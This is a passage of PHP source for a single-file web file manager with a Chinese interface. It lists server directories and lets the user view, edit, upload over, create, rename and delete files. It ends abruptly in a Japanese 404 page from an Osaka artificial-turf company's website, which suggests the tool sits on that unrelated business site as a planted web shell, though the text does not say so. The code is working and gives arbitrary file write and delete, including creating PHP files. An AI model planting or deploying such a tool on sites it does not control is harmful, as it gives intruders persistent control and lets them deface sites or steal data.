    echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> 覆盖同名文件</label>';
    echo '<button class="btn p" type="submit">上传</button>';
    echo '</form>';
    echo '<div class="kv">上传目标目录:<code>' . h(disp_path($rel)) . '</code>('
        . (is_writable(disp_path($rel)) ? '可写' : '不可写') . ')</div>';
    echo '</div>';

    echo '</div>';
}

function fm_cmp_rows(array $x, array $y): int
{
    if ($x['dir'] !== $y['dir']) {
        return $x['dir'] ? -1 : 1;
    }
    $sort = $GLOBALS['fm_sort_key'];
    $r = 0;
    if ($sort === 'size') {
        $r = ($x['size'] < $y['size']) ? -1 : (($x['size'] > $y['size']) ? 1 : 0);
    } elseif ($sort === 'time') {
        $r = ($x['mtime'] < $y['mtime']) ? -1 : (($x['mtime'] > $y['mtime']) ? 1 : 0);
    } elseif ($sort === 'type') {
        $ex = strtolower(pathinfo($x['name'], PATHINFO_EXTENSION));
        $ey = strtolower(pathinfo($y['name'], PATHINFO_EXTENSION));
        $r = strcmp($ex, $ey);
        if ($r === 0) {
            $r = strnatcasecmp($x['name'], $y['name']);
        }
    } else {
        $r = strnatcasecmp($x['name'], $y['name']);
    }
    if ($GLOBALS['fm_sort_desc']) {
        $r = -$r;
    }
    return $r;
}

/* ============================ 列表页(F1~F6) ============================ */

function render_list(string $rel): void
{
    global $CFG, $QS, $HOME_REL;

    $abs = resolve_path($rel);
    if ($abs === null || !is_dir($abs)) {
        flash('目录不存在或不可读,已回到初始目录', 'err');
        $rel = $HOME_REL;
        $abs = disp_path($rel);
    }

    page_top(disp_path($rel));
    msg_box();
    nav_block($rel);

    $items = @scandir($abs);
    if ($items === false) {
        echo '<div class="msg err">目录不可读(权限不足):' . h($abs) . '</div>';
        page_foot();
        return;
    }

    $rows = [];
    foreach ($items as $name) {
        if ($name === '.' || $name === '..') {
            continue;
        }
        if (!$CFG['show_hidden'] && $name !== '' && $name[0] === '.') {
            continue;
        }
        $p = $abs . '/' . $name;
        $isDir = is_dir($p);
        $rows[] = [
            'name' => $name,
            'dir' => $isDir,
            'link' => is_link($p),
            'size' => $isDir ? -1 : (int)@filesize($p),
            'mtime' => (int)@filemtime($p),
            'perm' => perm_str($p),
            'wr' => is_writable($p),
            'rel' => ($rel === '' ? $name : $rel . '/' . $name),
        ];
    }

    $GLOBALS['fm_sort_key'] = $QS['o'];
    $GLOBALS['fm_sort_desc'] = ($QS['d'] === 'desc');
    usort($rows, 'fm_cmp_rows');

    $nDir = 0;
    $nFile = 0;
    $nSize = 0;
    foreach ($rows as $r) {
        if ($r['dir']) {
            $nDir++;
        } else {
            $nFile++;
            if ($r['size'] > 0) {
                $nSize = $nSize + $r['size'];
            }
        }
    }

    echo '<div class="kv" style="margin:4px 2px 8px">共 ' . count($rows) . ' 项(目录 ' . $nDir . ' / 文件 ' . $nFile
        . ',文件合计 ' . h(fmt_size($nSize)) . ')</div>';

    echo '<table><thead><tr>';
    echo '<th style="width:46%">名称</th><th>大小</th><th>修改时间</th><th>权限</th><th style="width:26%">操作</th>';
    echo '</tr></thead><tbody>';

    if (count($rows) === 0) {
        echo '<tr><td colspan="5" class="muted" style="text-align:center;padding:22px">空目录</td></tr>';
    }

    foreach ($rows as $r) {
        $icon = $r['dir'] ? '📁' : (is_image_ext($r['name']) ? '🖼️' : (is_text_ext($r['name']) ? '📄' : '📦'));
        $qname = $r['name'] . ($r['dir'] ? '/' : '') . ($r['link'] ? ' ↗' : '');

        echo '<tr>';
        if ($r['dir']) {
            echo '<td class="n"><span class="icon">' . $icon . '</span><a href="'
                . h(url(array_merge(['p' => $r['rel']], $QS))) . '">' . h($qname) . '</a></td>';
            echo '<td class="num">-</td>';
        } else {
            echo '<td class="n"><span class="icon">' . $icon . '</span><a title="下载" href="'
                . h(url(['a' => 'download', 'f' => $r['rel']])) . '">' . h($qname) . '</a></td>';
            echo '<td class="num">' . h(fmt_size($r['size'])) . '</td>';
        }
        echo '<td class="num">' . h(fmt_time($r['mtime'])) . '</td>';
        echo '<td class="num">' . h($r['perm']) . ($r['wr'] ? '' : ' <span title="不可写">🔒</span>') . '</td>';

        echo '<td class="act">';
        if ($r['dir']) {
            echo '<a href="' . h(url(array_merge(['p' => $r['rel']], $QS))) . '">进入</a>';
        } else {
            echo '<a href="' . h(url(['a' => 'view', 'f' => $r['rel']])) . '">查看</a>';
            echo '<a href="' . h(url(['a' => 'edit', 'f' => $r['rel']])) . '">编辑</a>';
            echo '<a href="' . h(url(['a' => 'download', 'f' => $r['rel']])) . '">下载</a>';
            echo '<a href="' . h(url(['a' => 'replace', 'f' => $r['rel']])) . '">替换</a>';
        }
        echo '<a href="' . h(url(['a' => 'rename', 'f' => $r['rel']])) . '">重命名</a>';
        echo '<a style="color:#ff9b9b" href="' . h(url(['a' => 'delete', 'f' => $r['rel']])) . '">删除</a>';
        echo '</td></tr>';
    }
    echo '</tbody></table>';

    page_foot();
}

/* ============================ 查看页(F7) ============================ */

function render_view(string $f): void
{
    global $CFG;

    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !is_file($abs)) {
        page_top('查看');
        msg_box();
        echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }

    $name = basename($abs);
    $size = (int)@filesize($abs);

    page_top('查看 ' . $name);
    msg_box();
    echo '<div class="bar"><div class="brand">👁 查看:' . h($name) . '</div>';
    echo '<div class="kv">路径:<code>' . h($abs) . '</code></div>';
    echo '<div class="kv">大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time((int)@filemtime($abs)))
        . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读') . '</div>';
    echo '<div class="toolbar">';
    echo '<a class="btn p" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← 返回目录</a>';
    echo '<a class="btn" href="' . h(url(['a' => 'download', 'f' => $f])) . '">⬇ 下载</a>';
    echo '<a class="btn" href="' . h(url(['a' => 'edit', 'f' => $f])) . '">✏️ 编辑</a>';
    echo '<a class="btn" href="' . h(url(['a' => 'replace', 'f' => $f])) . '">⬆ 上传替换</a>';
    echo '<a class="btn" href="' . h(url(['a' => 'rename', 'f' => $f])) . '">🏷 重命名</a>';
    echo '<a class="btn d" href="' . h(url(['a' => 'delete', 'f' => $f])) . '">🗑 删除</a>';
    echo '</div></div>';

    if (is_image_ext($name)) {
        echo '<div class="panel"><img class="preview" src="' . h(url(['a' => 'raw', 'f' => $f])) . '" alt="' . h($name) . '"></div>';
        page_foot();
        return;
    }

    $max = (int)$CFG['max_edit_bytes'];
    if ($size > $max) {
        echo '<div class="msg err">文件超过 ' . h(fmt_size($max)) . ',不在此处预览,请直接下载。</div>';
        page_foot();
        return;
    }

    $content = (string)@file_get_contents($abs);
    if ((!is_text_ext($name) && looks_binary($content)) || str_contains($content, "\0")) {
        echo '<div class="msg err">二进制文件,无法文本预览。请下载查看。</div>';
        page_foot();
        return;
    }

    echo '<div class="panel"><pre class="view">' . h($content) . '</pre></div>';
    page_foot();
}

/* ============================ 编辑页(F8) ============================ */

function render_edit(string $f): void
{
    global $CFG;

    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !is_file($abs)) {
        page_top('编辑');
        msg_box();
        echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }

    $name = basename($abs);
    $size = (int)@filesize($abs);
    $max = (int)$CFG['max_edit_bytes'];
    $tooBig = ($size > $max);
    $content = $tooBig ? '' : (string)@file_get_contents($abs);
    $binary = (!$tooBig && !is_text_ext($name) && looks_binary($content));

    page_top('编辑 ' . $name);
    msg_box();
    echo '<div class="bar"><div class="brand">✏️ 编辑:' . h($name) . '</div>';
    echo '<div class="kv">路径:<code>' . h($abs) . '</code></div>';
    echo '<div class="kv">大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time((int)@filemtime($abs)))
        . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读(保存会失败)') . '</div>';
    echo '<div class="toolbar">';
    echo '<a class="btn p" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← 返回目录</a>';
    echo '<a class="btn" href="' . h(url(['a' => 'view', 'f' => $f])) . '">👁 查看</a>';
    echo '<a class="btn" href="' . h(url(['a' => 'download', 'f' => $f])) . '">⬇ 下载</a>';
    echo '</div></div>';

    if ($tooBig) {
        echo '<div class="msg err">文件超过在线编辑上限 ' . h(fmt_size($max)) . ',请下载后本地修改,再用「上传替换」写回。</div>';
        page_foot();
        return;
    }
    if ($binary) {
        echo '<div class="msg err">检测到二进制内容,直接保存可能损坏文件。请改用「上传替换」。</div>';
    }

    echo '<form method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="save">';
    echo '<input type="hidden" name="f" value="' . h($f) . '">';
    echo csrf_field();
    echo '<textarea name="content" spellcheck="false">' . h($content) . '</textarea>';
    echo '<div class="toolbar"><button class="btn p" type="submit">💾 保存</button>';
    echo '<a class="btn" href="' . h(url(['a' => 'view', 'f' => $f])) . '">取消</a>';
    echo '<span class="kv">保存为 UTF-8,换行统一为 LF</span></div>';
    echo '</form>';
    page_foot();
}

/* ============================ 上传替换页(F14) ============================ */

function render_replace(string $f): void
{
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !is_file($abs)) {
        page_top('上传替换');
        msg_box();
        echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }
    $parent = parent_rel($f);
    if ($parent === null) {
        $parent = '';
    }

    page_top('上传替换 ' . basename($abs));
    msg_box();
    echo '<div class="bar"><div class="brand">⬆ 上传替换:' . h(basename($abs)) . '</div>';
    echo '<div class="kv">目标文件:<code>' . h($abs) . '</code></div>';
    echo '<div class="kv">当前大小:' . h(fmt_size((int)@filesize($abs))) . ' · 权限:' . h(perm_str($abs))
        . ' · ' . (is_writable($abs) ? '可写' : '不可写(替换会失败)') . '</div>';
    echo '</div>';

    echo '<div class="panel"><h3>选择本地文件覆盖该文件</h3>';
    echo '<form class="inline" method="post" action="' . basename(__FILE__) . '" enctype="multipart/form-data">';
    echo '<input type="hidden" name="a" value="upload">';
    echo '<input type="hidden" name="mode" value="replace">';
    echo '<input type="hidden" name="p" value="' . h($parent) . '">';
    echo '<input type="hidden" name="name" value="' . h(basename($abs)) . '">';
    echo csrf_field();
    echo '<input type="file" name="file" required>';
    echo '<button class="btn p" type="submit">上传并替换</button>';
    echo '<a class="btn" href="' . h(url(['a' => 'view', 'f' => $f])) . '">取消</a>';
    echo '</form>';
    echo '<div class="kv">替换后原文件内容将被完全覆盖,不可撤销。</div>';
    echo '</div>';
    page_foot();
}

/* ============================ 新建目录页(F10) ============================ */

function render_mkdir_page(string $rel): void
{
    global $QS;
    page_top('新建目录');
    msg_box();
    echo '<div class="bar"><div class="brand">➕ 在下面创建目录</div>';
    echo '<div class="kv">位置:<code>' . h(disp_path($rel)) . '</code></div></div>';
    echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="mkdir"><input type="hidden" name="p" value="' . h($rel) . '">';
    echo csrf_field();
    echo '<input type="text" name="name" placeholder="目录名" required autofocus>';
    echo '<button class="btn p" type="submit">创建</button>';
    echo '<a class="btn" href="' . h(url(array_merge(['p' => $rel], $QS))) . '">返回</a>';
    echo '</form></div>';
    page_foot();
}

/* ============================ 新建文件页(F9) ============================ */

function render_newfile_page(string $rel): void
{
    global $QS;
    page_top('新建文件');
    msg_box();
    echo '<div class="bar"><div class="brand">📄 在下面创建文件</div>';
    echo '<div class="kv">位置:<code>' . h(disp_path($rel)) . '</code></div></div>';
    echo '<div class="panel"><form method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="newfile"><input type="hidden" name="p" value="' . h($rel) . '">';
    echo csrf_field();
    echo '<div class="toolbar"><input type="text" name="name" placeholder="文件名,如 index.php" required autofocus>';
    echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> 覆盖同名文件</label></div>';
    echo '<textarea name="content" spellcheck="false" placeholder="初始内容(可留空)"></textarea>';
    echo '<div class="toolbar"><button class="btn p" type="submit">创建</button>';
    echo '<a class="btn" href="' . h(url(array_merge(['p' => $rel], $QS))) . '">返回</a></div>';
    echo '</form></div>';
    page_foot();
}

/* ============================ 重命名页(F11) ============================ */

function render_rename_page(string $f): void
{
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !file_exists($abs)) {
        page_top('重命名');
        msg_box();
        echo '<div class="msg err">目标不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }
    $parent = parent_rel($f);
    if ($parent === null) {
        $parent = '';
    }

    page_top('重命名');
    msg_box();
    echo '<div class="bar"><div class="brand">🏷 重命名</div>';
    echo '<div class="kv">原路径:<code>' . h($abs) . '</code></div></div>';
    echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="rename"><input type="hidden" name="f" value="' . h($f) . '">';
    echo csrf_field();
    echo '<input type="text" name="newname" value="' . h(basename($abs)) . '" required autofocus>';
    echo '<button class="btn p" type="submit">重命名</button>';
    echo '<a class="btn" href="' . h(url(['p' => $parent])) . '">返回</a>';
    echo '</form><div class="kv">只能改当前目录内的名称,不能移动到别的目录。</div></div>';
    page_foot();
}

/* ============================ 删除确认页(F12) ============================ */

function render_delete_page(string $f): void
{
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !file_exists($abs)) {
        page_top('删除');
        msg_box();
        echo '<div class="msg err">目标不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }
    $parent = parent_rel($f);
    if ($parent === null) {
        $parent = '';
    }
    $isDir = is_dir($abs);

    page_top('删除确认');
    msg_box();
    echo '<div class="bar"><div class="brand">🗑 删除确认</div>';
    echo '<div class="kv">目标:<code>' . h($abs) . '</code>' . ($isDir ? '(目录,含其下全部内容)' : '') . '</div></div>';
    echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="delete"><input type="hidden" name="f" value="' . h($f) . '">';
    echo csrf_field();
    echo '<button class="btn d" type="submit">确认删除</button>';
    echo '<a class="btn" href="' . h(url(['p' => $parent])) . '">取消</a>';
    echo '</form><div class="kv">删除不可撤销。</div></div>';
    page_foot();
}

/* ============================ 动作分派 ============================ */

switch ($act) {
    case 'view':
        render_view(gp('f', ''));
        break;
    case 'edit':
        render_edit(gp('f', ''));
        break;
    case 'replace':
        render_replace(gp('f', ''));
        break;
    case 'rename':
        render_rename_page(gp('f', ''));
        break;
    case 'delete':
        render_delete_page(gp('f', ''));
        break;
    case 'mkdir':
        render_mkdir_page($rel);
        break;
    case 'newfile':
        render_newfile_page($rel);
        break;
    default:
        render_list($rel);
        break;
}
404 NOT FOUND | 人工芝販売・施工【大阪・近畿】人工芝エメラルド

404 NOT FOUND

404 Not Found

お探しのページは見つかりませんでした。